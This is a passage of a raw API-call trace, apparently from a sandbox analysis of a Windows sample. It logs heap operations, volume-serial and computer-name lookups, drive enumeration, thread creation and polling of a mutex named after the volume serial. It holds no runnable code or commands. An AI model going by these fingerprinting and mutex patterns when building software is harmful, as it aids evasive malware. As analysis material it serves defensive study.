dwFlags=0x0, lpMem=0x494060 | out: hHeap=0x470000) returned 1 [0100.217] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x4937e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0100.217] GetProcessHeap () returned 0x470000 [0100.218] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x493808 | out: hHeap=0x470000) returned 1 [0100.218] GetProcessHeap () returned 0x470000 [0100.218] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a018 | out: hHeap=0x470000) returned 1 [0100.218] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x238fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x238fb3c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0100.218] GetProcessHeap () returned 0x470000 [0100.218] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4937e0 | out: hHeap=0x470000) returned 1 [0100.218] GetProcessHeap () returned 0x470000 [0100.218] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484000 [0100.218] GetProcessHeap () returned 0x470000 [0100.218] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x483fb8 [0100.219] GetProcessHeap () returned 0x470000 [0100.219] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x483fb8, Size=0x72) returned 0x47f858 [0100.219] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1d0 [0100.219] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x102 [0100.219] CloseHandle (hObject=0x1d0) returned 1 [0100.219] GetProcessHeap () returned 0x470000 [0100.219] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484000 | out: hHeap=0x470000) returned 1 [0100.219] GetProcessHeap () returned 0x470000 [0100.219] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f858 | out: hHeap=0x470000) returned 1 [0100.219] Sleep (dwMilliseconds=0x3e8) [0101.230] GetProcessHeap () returned 0x470000 [0101.230] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x48a018 [0101.231] GetProcessHeap () returned 0x470000 [0101.231] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x4937e0 [0101.231] GetProcessHeap () returned 0x470000 [0101.231] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x493808 [0101.231] GetProcessHeap () returned 0x470000 [0101.231] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x494060 [0101.231] GetProcessHeap () returned 0x470000 [0101.231] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x494060 | out: hHeap=0x470000) returned 1 [0101.231] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x4937e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0101.231] GetProcessHeap () returned 0x470000 [0101.231] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x493808 | out: hHeap=0x470000) returned 1 [0101.231] GetProcessHeap () returned 0x470000 [0101.231] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a018 | out: hHeap=0x470000) returned 1 [0101.231] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x238fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x238fb3c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0101.231] GetProcessHeap () returned 0x470000 [0101.231] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4937e0 | out: hHeap=0x470000) returned 1 [0101.231] GetProcessHeap () returned 0x470000 [0101.231] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484000 [0101.231] GetProcessHeap () returned 0x470000 [0101.231] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x483fb8 [0101.232] GetProcessHeap () returned 0x470000 [0101.232] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x483fb8, Size=0x72) returned 0x47f858 [0101.232] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1cc [0101.232] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x0) returned 0x102 [0101.232] CloseHandle (hObject=0x1cc) returned 1 [0101.232] GetProcessHeap () returned 0x470000 [0101.232] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484000 | out: hHeap=0x470000) returned 1 [0101.232] GetProcessHeap () returned 0x470000 [0101.232] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f858 | out: hHeap=0x470000) returned 1 [0101.232] Sleep (dwMilliseconds=0x3e8) Thread: id = 15 os_tid = 0x290 [0073.579] GetProcessHeap () returned 0x470000 [0073.579] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x21a) returned 0x494518 [0073.579] GetProcessHeap () returned 0x470000 [0073.579] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x28) returned 0x48a350 [0073.579] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x13c [0073.579] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x140 [0073.579] GetComputerNameW (in: lpBuffer=0x494528, nSize=0x266fdc8 | out: lpBuffer="XDUWTFONO", nSize=0x266fdc8) returned 1 [0073.580] GetProcessHeap () returned 0x470000 [0073.580] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x26) returned 0x48e5c0 [0073.580] CloseHandle (hObject=0x140) returned 1 [0073.580] CloseHandle (hObject=0x13c) returned 1 [0073.580] GetProcessHeap () returned 0x470000 [0073.580] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a350 | out: hHeap=0x470000) returned 1 [0073.580] GetProcessHeap () returned 0x470000 [0073.580] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e5c0 | out: hHeap=0x470000) returned 1 [0073.580] GetProcessHeap () returned 0x470000 [0073.580] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x494518 | out: hHeap=0x470000) returned 1 [0073.580] GetProcessHeap () returned 0x470000 [0073.580] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48db68 | out: hHeap=0x470000) returned 1 Thread: id = 16 os_tid = 0x1c0 [0073.582] GetLogicalDrives () returned 0x4 [0073.582] GetProcessHeap () returned 0x470000 [0073.582] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484090 [0073.582] GetProcessHeap () returned 0x470000 [0073.582] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x28) returned 0x48e5c0 [0073.582] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x13c [0073.582] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x140 [0073.582] GetProcessHeap () returned 0x470000 [0073.582] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x489be0 [0073.582] GetProcessHeap () returned 0x470000 [0073.582] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x489c08 [0073.582] GetProcessHeap () returned 0x470000 [0073.582] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x489d20 [0073.582] GetProcessHeap () returned 0x470000 [0073.582] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48ae38 [0073.582] GetProcessHeap () returned 0x470000 [0073.582] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ae38 | out: hHeap=0x470000) returned 1 [0073.582] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x489c08, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0073.582] GetProcessHeap () returned 0x470000 [0073.582] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489d20 | out: hHeap=0x470000) returned 1 [0073.582] GetProcessHeap () returned 0x470000 [0073.582] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489be0 | out: hHeap=0x470000) returned 1 [0073.583] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x27af95c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x27af95c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0073.583] GetProcessHeap () returned 0x470000 [0073.583] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489c08 | out: hHeap=0x470000) returned 1 [0073.583] GetProcessHeap () returned 0x470000 [0073.583] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b278 [0073.583] GetProcessHeap () returned 0x470000 [0073.583] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b290 [0073.583] GetProcessHeap () returned 0x470000 [0073.583] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b260 [0073.583] GetProcessHeap () returned 0x470000 [0073.583] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48ae38 [0073.583] GetProcessHeap () returned 0x470000 [0073.583] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b248 [0073.583] htonl (hostlong=0x9c354b42) returned 0x424b359c [0073.584] QueryPerformanceCounter (in: lpPerformanceCount=0x27af850 | out: lpPerformanceCount=0x27af850*=18873072379) returned 1 [0073.584] GetTickCount () returned 0x114ba4b [0073.584] GetCurrentProcessId () returned 0xa8c [0073.584] GetCurrentThreadId () returned 0x1c0 [0073.584] GetLocalTime (in: lpSystemTime=0x27af838 | out: lpSystemTime=0x27af838*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x8, wHour=0x0, wMinute=0x8, wSecond=0x24, wMilliseconds=0x1b4)) [0073.584] SystemTimeToFileTime (in: lpSystemTime=0x27af838, lpFileTime=0x27af848 | out: lpFileTime=0x27af848) returned 1 [0073.584] QueryPerformanceCounter (in: lpPerformanceCount=0x27af850 | out: lpPerformanceCount=0x27af850*=18873108396) returned 1 [0073.584] GetProcessHeap () returned 0x470000 [0073.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x28) returned 0x48a350 [0073.585] GetProcessHeap () returned 0x470000 [0073.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b2a8 [0073.585] GetProcessHeap () returned 0x470000 [0073.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x4) returned 0x48aed0 [0073.585] GetProcessHeap () returned 0x470000 [0073.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x14) returned 0x48db88 [0073.585] GetProcessHeap () returned 0x470000 [0073.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b2c0 [0073.585] GetProcessHeap () returned 0x470000 [0073.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x80) returned 0x48f928 [0073.585] GetProcessHeap () returned 0x470000 [0073.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b2d8 [0073.585] GetProcessHeap () returned 0x470000 [0073.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x82) returned 0x48f9b0 [0073.585] GetProcessHeap () returned 0x470000 [0073.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b2f0 [0073.585] GetProcessHeap () returned 0x470000 [0073.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x4) returned 0x48a440 [0073.585] GetProcessHeap () returned 0x470000 [0073.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b308 [0073.585] GetProcessHeap () returned 0x470000 [0073.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x80) returned 0x494518 [0073.585] GetProcessHeap () returned 0x470000 [0073.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b320 [0073.585] GetProcessHeap () returned 0x470000 [0073.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x2) returned 0x48a450 [0073.585] GetProcessHeap () returned 0x470000 [0073.586] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x4) returned 0x48f518 [0073.586] GetProcessHeap () returned 0x470000 [0073.586] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b338 [0073.586] GetProcessHeap () returned 0x470000 [0073.586] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x80) returned 0x4945a0 [0073.586] GetProcessHeap () returned 0x470000 [0073.586] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b350 [0073.586] GetProcessHeap () returned 0x470000 [0073.586] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x4) returned 0x48f528 [0073.586] GetProcessHeap () returned 0x470000 [0073.586] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48a450, Size=0x82) returned 0x494628 [0073.586] GetProcessHeap () returned 0x470000 [0073.586] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48f528, Size=0x100) returned 0x4946b8 [0073.586] GetProcessHeap () returned 0x470000 [0073.586] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b368 [0073.586] GetProcessHeap () returned 0x470000 [0073.586] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x82) returned 0x4947c0 [0073.586] GetProcessHeap () returned 0x470000 [0073.586] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b380 [0073.586] GetProcessHeap () returned 0x470000 [0073.586] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x82) returned 0x494850 [0073.586] GetProcessHeap () returned 0x470000 [0073.586] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x494628, Size=0x104) returned 0x4948e0 [0073.586] GetProcessHeap () returned 0x470000 [0073.587] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x4946b8, Size=0x200) returned 0x4949f0 [0073.588] GetProcessHeap () returned 0x470000 [0073.588] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f518 | out: hHeap=0x470000) returned 1 [0073.588] GetProcessHeap () returned 0x470000 [0073.588] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4949f0 | out: hHeap=0x470000) returned 1 [0073.588] GetProcessHeap () returned 0x470000 [0073.588] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b350 | out: hHeap=0x470000) returned 1 [0073.588] GetProcessHeap () returned 0x470000 [0073.588] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x494518 | out: hHeap=0x470000) returned 1 [0073.588] GetProcessHeap () returned 0x470000 [0073.588] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b308 | out: hHeap=0x470000) returned 1 [0073.588] GetProcessHeap () returned 0x470000 [0073.588] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4945a0 | out: hHeap=0x470000) returned 1 [0073.588] GetProcessHeap () returned 0x470000 [0073.588] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b338 | out: hHeap=0x470000) returned 1 [0073.588] GetProcessHeap () returned 0x470000 [0073.588] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4948e0 | out: hHeap=0x470000) returned 1 [0073.588] GetProcessHeap () returned 0x470000 [0073.588] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b320 | out: hHeap=0x470000) returned 1 [0073.588] GetProcessHeap () returned 0x470000 [0073.589] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4947c0 | out: hHeap=0x470000) returned 1 [0073.589] GetProcessHeap () returned 0x470000 [0073.589] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b368 | out: hHeap=0x470000) returned 1 [0073.589] GetProcessHeap () returned 0x470000 [0073.589] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x494850 | out: hHeap=0x470000) returned 1 [0073.589] GetProcessHeap () returned 0x470000 [0073.589] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b380 | out: hHeap=0x470000) returned 1 [0073.589] GetProcessHeap () returned 0x470000 [0073.589] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48aed0 | out: hHeap=0x470000) returned 1 [0073.589] GetProcessHeap () returned 0x470000 [0073.589] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b2a8 | out: hHeap=0x470000) returned 1 [0073.589] GetProcessHeap () returned 0x470000 [0073.589] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f9b0 | out: hHeap=0x470000) returned 1 [0073.589] GetProcessHeap () returned 0x470000 [0073.589] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b2d8 | out: hHeap=0x470000) returned 1 [0073.589] GetProcessHeap () returned 0x470000 [0073.589] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f928 | out: hHeap=0x470000) returned 1 [0073.589] GetProcessHeap () returned 0x470000 [0073.589] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b2c0 | out: hHeap=0x470000) returned 1 [0073.589] GetProcessHeap () returned 0x470000 [0073.589] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a440 | out: hHeap=0x470000) returned 1 [0073.589] GetProcessHeap () returned 0x470000 [0073.589] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b2f0 | out: hHeap=0x470000) returned 1 [0073.589] GetProcessHeap () returned 0x470000 [0073.589] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a350 | out: hHeap=0x470000) returned 1 [0073.589] GetProcessHeap () returned 0x470000 [0073.589] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48db88 | out: hHeap=0x470000) returned 1 [0073.589] GetProcessHeap () returned 0x470000 [0073.589] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0xa4) returned 0x48f928 [0073.589] GetProcessHeap () returned 0x470000 [0073.590] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b290 | out: hHeap=0x470000) returned 1 [0073.590] GetProcessHeap () returned 0x470000 [0073.590] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b260 | out: hHeap=0x470000) returned 1 [0073.590] GetProcessHeap () returned 0x470000 [0073.590] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ae38 | out: hHeap=0x470000) returned 1 [0073.590] GetProcessHeap () returned 0x470000 [0073.590] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b248 | out: hHeap=0x470000) returned 1 [0073.590] GetProcessHeap () returned 0x470000 [0073.590] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b278 | out: hHeap=0x470000) returned 1 [0073.590] GetProcessHeap () returned 0x470000 [0073.590] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x18) returned 0x48db88 [0073.590] GetProcessHeap () returned 0x470000 [0073.590] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xe) returned 0x48b278 [0073.590] ResetEvent (hEvent=0x140) returned 1 [0073.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2755a0, lpParameter=0x48db88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0073.593] CloseHandle (hObject=0x144) returned 1 [0073.593] GetProcessHeap () returned 0x470000 [0073.593] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b248 [0073.593] GetProcessHeap () returned 0x470000 [0073.593] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b260 [0073.593] GetProcessHeap () returned 0x470000 [0073.593] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b290 [0073.593] GetProcessHeap () returned 0x470000 [0073.593] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48ae38 [0073.593] GetProcessHeap () returned 0x470000 [0073.593] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b2f0 [0073.593] htonl (hostlong=0x9c354b42) returned 0x424b359c [0073.593] GetProcessHeap () returned 0x470000 [0073.593] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x28) returned 0x48f518 [0073.593] GetProcessHeap () returned 0x470000 [0073.593] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b2c0 [0073.594] GetProcessHeap () returned 0x470000 [0073.594] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x4) returned 0x48aed0 [0073.594] GetProcessHeap () returned 0x470000 [0073.594] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x14) returned 0x48dc48 [0073.594] GetProcessHeap () returned 0x470000 [0073.594] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b2d8 [0073.594] GetProcessHeap () returned 0x470000 [0073.594] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x80) returned 0x48f9d8 [0073.594] GetProcessHeap () returned 0x470000 [0073.594] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b2a8 [0073.594] GetProcessHeap () returned 0x470000 [0073.594] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x82) returned 0x494728 [0073.594] GetProcessHeap () returned 0x470000 [0073.594] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b380 [0073.594] GetProcessHeap () returned 0x470000 [0073.594] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x4) returned 0x48a440 [0073.594] GetProcessHeap () returned 0x470000 [0073.594] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b368 [0073.594] GetProcessHeap () returned 0x470000 [0073.594] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x80) returned 0x4947b8 [0073.594] GetProcessHeap () returned 0x470000 [0073.594] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b320 [0073.594] GetProcessHeap () returned 0x470000 [0073.594] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x2) returned 0x48a450 [0073.594] GetProcessHeap () returned 0x470000 [0073.594] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x4) returned 0x48fa60 [0073.594] GetProcessHeap () returned 0x470000 [0073.594] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b338 [0073.594] GetProcessHeap () returned 0x470000 [0073.595] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x80) returned 0x494840 [0073.595] GetProcessHeap () returned 0x470000 [0073.595] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b308 [0073.595] GetProcessHeap () returned 0x470000 [0073.595] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x4) returned 0x48fa70 [0073.595] GetProcessHeap () returned 0x470000 [0073.595] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48a450, Size=0x82) returned 0x4948c8 [0073.595] GetProcessHeap () returned 0x470000 [0073.595] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48fa70, Size=0x100) returned 0x494958 [0073.595] GetProcessHeap () returned 0x470000 [0073.595] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b350 [0073.595] GetProcessHeap () returned 0x470000 [0073.595] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x82) returned 0x494a60 [0073.595] GetProcessHeap () returned 0x470000 [0073.595] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x48b398 [0073.595] GetProcessHeap () returned 0x470000 [0073.595] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x82) returned 0x494af0 [0073.595] GetProcessHeap () returned 0x470000 [0073.595] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x4948c8, Size=0x104) returned 0x494b80 [0073.595] GetProcessHeap () returned 0x470000 [0073.595] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x494958, Size=0x200) returned 0x494c90 [0073.597] GetProcessHeap () returned 0x470000 [0073.597] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48fa60 | out: hHeap=0x470000) returned 1 [0073.597] GetProcessHeap () returned 0x470000 [0073.597] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x494c90 | out: hHeap=0x470000) returned 1 [0073.597] GetProcessHeap () returned 0x470000 [0073.597] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b308 | out: hHeap=0x470000) returned 1 [0073.597] GetProcessHeap () returned 0x470000 [0073.597] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4947b8 | out: hHeap=0x470000) returned 1 [0073.597] GetProcessHeap () returned 0x470000 [0073.597] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b368 | out: hHeap=0x470000) returned 1 [0073.597] GetProcessHeap () returned 0x470000 [0073.597] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x494840 | out: hHeap=0x470000) returned 1 [0073.597] GetProcessHeap () returned 0x470000 [0073.597] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b338 | out: hHeap=0x470000) returned 1 [0073.597] GetProcessHeap () returned 0x470000 [0073.597] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x494b80 | out: hHeap=0x470000) returned 1 [0073.597] GetProcessHeap () returned 0x470000 [0073.597] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b320 | out: hHeap=0x470000) returned 1 [0073.598] GetProcessHeap () returned 0x470000 [0073.598] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x494a60 | out: hHeap=0x470000) returned 1 [0073.598] GetProcessHeap () returned 0x470000 [0073.598] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b350 | out: hHeap=0x470000) returned 1 [0073.598] GetProcessHeap () returned 0x470000 [0073.598] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x494af0 | out: hHeap=0x470000) returned 1 [0073.598] GetProcessHeap () returned 0x470000 [0073.598] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b398 | out: hHeap=0x470000) returned 1 [0073.598] GetProcessHeap () returned 0x470000 [0073.598] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48aed0 | out: hHeap=0x470000) returned 1 [0073.598] GetProcessHeap () returned 0x470000 [0073.598] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b2c0 | out: hHeap=0x470000) returned 1 [0073.598] GetProcessHeap () returned 0x470000 [0073.598] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x494728 | out: hHeap=0x470000) returned 1 [0073.598] GetProcessHeap () returned 0x470000 [0073.598] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b2a8 | out: hHeap=0x470000) returned 1 [0073.598] GetProcessHeap () returned 0x470000 [0073.598] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f9d8 | out: hHeap=0x470000) returned 1 [0073.598] GetProcessHeap () returned 0x470000 [0073.599] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b2d8 | out: hHeap=0x470000) returned 1 [0073.599] GetProcessHeap () returned 0x470000 [0073.599] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a440 | out: hHeap=0x470000) returned 1 [0073.599] GetProcessHeap () returned 0x470000 [0073.599] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b380 | out: hHeap=0x470000) returned 1 [0073.599] GetProcessHeap () returned 0x470000 [0073.599] HeapFree (in: hHeap=0x470000, 